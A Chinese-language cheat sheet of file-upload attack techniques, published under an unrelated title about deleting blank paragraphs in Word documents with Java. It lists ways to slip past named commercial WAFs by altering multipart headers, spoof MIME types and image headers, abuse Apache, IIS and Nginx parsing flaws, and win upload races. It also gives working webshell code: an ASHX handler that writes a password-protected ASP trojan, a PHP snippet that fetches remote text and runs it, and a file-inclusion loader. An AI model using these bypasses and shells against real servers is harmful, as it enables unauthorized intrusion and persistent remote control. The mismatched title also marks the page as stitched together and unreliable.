1. 程式人生 > 實用技巧 >Java 批量刪除Word中的空白段落

Java 批量刪除Word中的空白段落

檔案上傳校驗姿勢常見有這些

  • 客戶端javascript校驗(一般只校驗字尾名)
  • 服務端校驗
  • 檔案頭content-type欄位校驗(image/gif)
  • 檔案內容頭校驗(GIF89a)
  • 字尾名黑名單校驗
  • 字尾名白名單校驗
  • 自定義正則校驗
  • WAF裝置校驗(根據不同的WAF產品而定)

以下我們分類總結一下繞過手段這裡我們分類總結一下繞過手段

WAF繞過

安全狗繞過

  • 1.繞過思路:對檔案的內容,資料,資料包進行處理。

    • 關鍵點在這裡Content-Disposition: form-data; name="file"; filename="ian.php"

    • 將form-data;修改為~form-data;

  • 2.通過替換大小寫來進行繞過

    • Content-Disposition: form-data; name="file"; filename="yjh.php"

    • Content-Type: application/octet-stream

    • 將Content-Disposition修改為content-Disposition

    • 將 form-data 修改為Form-data

    • 將Content-Type修改為content-Type

  • 3.通過刪減空格來進行繞過

    • Content-Disposition: form-data; name="file"; filename="yjh.php"

    • Content-Type: application/octet-stream

    • 將Content-Disposition: form-data 冒號後面增加或減少一個空格

    • 將form-data; name="file";分號後面增加或減少一個空格

    • 將Content-Type: application/octet-stream 冒號後面增加一個空格

  • 4.通過字串拼接繞過

    • Content-Disposition: form-data; name="file"; filename="yjh3.php"

    • 將 form-data 修改為 f+orm-data

    • 將from-data 修改為 form-d+ata

  • 5.雙檔案上傳繞過
    `<formaction="https://www.xxx.com/xxx.asp(php)"method="post"
    name="form1"enctype="multipart/form-data">
    <inputname="FileName1"type="FILE"class="tx1"size="40">
    <inputname="FileName2"type="FILE"class="tx1"size="40">
    <inputtype="submit"name="Submit"value="上傳">

` * 6.HTTP header 屬性值繞過
* Content-Disposition: form-data; name="file"; filename="yjh.php"
* 我們通過替換form-data 為*來繞過
* Content-Disposition:*; name="file"; filename="yjh.php"
  • 7.HTTP header 屬性名稱繞過

    • Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
    • Content-Type: image/png
    • 繞過內容如下:
      • Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
      • C.php"
      • 刪除掉ontent-Type: image/jpeg只留下c,將.php加c後面即可,但是要注意額,雙引號要跟著c.php"
  • 8.等效替換繞過

    • 原內容:

    • Content-Type: multipart/form-data; boundary=---------------------------471463142114

    • 修改後:

      • Content-Type: multipart/form-data; boundary =---------------------------471463142114
    • boundary後面加入空格

  • 9.修改編碼繞過

    • 使用UTF-16、Unicode、雙URL編碼等等

WTS-WAF 繞過上傳

  • 原內容:
    • Content-Disposition: form-data; name="up_picture"; filename="xss.php"
  • 添加回車
    • Content-Disposition: form-data; name="up_picture"; filename="xss.php"

百度雲上傳繞過

百度雲繞過就簡單的很多很多,在對檔名大小寫上面沒有檢測php是過了的,Php就能過,或者PHP,一句話,,自己合成圖片馬用Xise連線即可。

  • Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

阿里雲上傳繞過

  • 原始碼:

    • Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"
    • Content-Type:image/jpeg
  • 修改如下:

    • Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
  • 沒錯,將=號這裡回車刪除掉Content-Type: image/jpeg即可繞過。

360主機上傳繞過

  • 原始碼:
    • Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
    • Content-Type: image/png
  • 繞過內容如下:
    • Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
    • Content-Disposition 修改為 Content-空格Disposition

MIME型別繞過

  • 上傳木馬時,提示格式錯誤。直接抓包修改Content-Type為正確的格式嘗試繞過

檔案內容檢測繞過

抓包,在正常圖片末尾新增一句話木馬

多次上傳Win特性繞過

  • 多次上傳同一個檔案,windows會自動更新補全TEST (1).php
    有時會觸發條件競爭,導致繞過。

條件競爭繞過

  • 通過BURP不斷髮包,導致不斷寫入Webshell,再寫入速度頻率上超過安全軟體查殺頻率,導致繞過。

CONTENT-LENGTH繞過

針對這種型別的驗證,我們可以通過上傳一些非常短的惡意程式碼來繞過。
上傳檔案的大小取決於,Web伺服器上的最大長度限制。
我們可以使用不同大小的檔案來fuzzing上傳程式,從而計算出它的限制範圍。

檔案內容檢測繞過

  • 針對檔案內容檢測的繞過,一般有兩種方式,

    • 1.製作圖片馬

    • 2.檔案幻術頭繞過

垃圾資料填充繞過

  • 修改HTTP請求,再之中加入大量垃圾資料。

黑名單字尾繞過

副檔名繞過

Php除了可以解析php字尾還可以解析php2,php3,php4 字尾

ashx上傳繞過

  • cer,asa,cdx等等無法使用時候。

  • 解析後就會生成一個test.asp的馬,你就可以連線這個test.asp 密碼為:put

<%@WebHandlerLanguage="C#"Class="Handler"%> usingSystem; usingSystem.Web; usingSystem.IO; publicclassHandler:IHttpHandler{ publicvoidProcessRequest(HttpContext context){ context.Response.ContentType="text/plain"; //這裡會在目錄下生成一個test.asp的檔案 StreamWriter file1=File.CreateText(context.Server.MapPath("test.asp")); //這裡是寫入一句話木馬 密碼是:put file1.Write("<%response.clear:execute request("put"):response.End%>"); file1.Flush(); file1.Close(); } publicboolIsReusable{ get{ returnfalse; } } }

特殊檔名繞過

  • 比如傳送的 http包裡把檔名改成 test.asp.或 test.asp_(下劃線為空格),這種命名方式,在windows系統裡是不被允許的,所以需要在 burp之類裡進行修改,然後繞過驗證後,會被windows系統自動去掉後面的點和空格,但要注意Unix/Linux系統沒有這個特性。

Windows流特性繞過

  • php在windows的時候如果檔名+"::$DATA"會把::$DATA之後的資料當成檔案流處理,不會檢測字尾名.且保持"::$DATA"之前的檔名。

白名單字尾繞過

00截斷繞過上傳

  • php .jpg 空格二進位制20改為00
  • IIS 6.0目錄路徑檢測解析繞過
    • 上傳路徑改為 XXX/1.asp/

htaccess解析漏洞

  • 上傳的jpg檔案都會以php格式解析
  • .htaccess內容: AddType application/x-httpd-php .jpg

突破MIME限制上傳

  • 方法:找一個正常的可上傳的檢視其的MIME型別,然後將馬子的MIME改成合法的MIME即可。

Apache解析漏洞

  • 一個檔名為test.x1.x2.x3的檔案,apache會從x3的位置開始嘗試解析,如果x3不屬於apache能夠解析的副檔名,那麼apache會嘗試去解析x2,直到能夠解析到能夠解析的為止,否則就會報錯。
  • CVE-2017-15715,這個漏洞利用方式就是上傳一個檔名最後帶有換行符(只能是\x0A,如上傳a.php,然後在burp中修改檔名為a.php\x0A),以此來繞過一些黑名單過濾。

IIS解析漏洞

  • IIS6.0在解析asp格式的時候有兩個解析漏洞
    • 一個是如果目錄名包含".asp"字串,那麼這個目錄下所有的檔案都會按照asp去解析
    • 另一個是隻要檔名中含有".asp;"
    • 會優先按asp來解析
  • IIS7.0/7.5是對php解析時有一個類似於Nginx的解析漏洞,對任意檔名只要在URL後面追加上字串"/任意檔名.php"就會按照php的方式去解析;

Nginx解析漏洞

  • 解析:(任意檔名)/(任意檔名).php |(任意檔名)%00.php
    描述:目前Nginx主要有這兩種漏洞,
    • 一個是對任意檔名,在後面新增/任意檔名.php的解析漏洞,比如原本檔名是test.jpg,可以新增為test.jpg/x.php進行解析攻擊。
    • 還有一種是對低版本的Nginx可以在任意檔名後面新增%00.php進行解析攻擊。

解析漏洞

  • Content-Disposition: form-data; name="file"; filename=php.php;.jpg

前端限制繞過

  • 使用BURP抓包修改後重放
  • 或者使用瀏覽器中元素審查,修改允許或禁止上傳檔案型別。

下載繞過

遠端下載檔案繞過

<?php
$str = file_get_contents('http://127.0.0.1/ian.txt'); $str($_post['ian']);
?>

檔案包含繞過

上傳圖片木馬
$x=$_GET['x'];
include($x);
訪問:http://www.xxxx.com/news.php?x=xxxxxx.jpg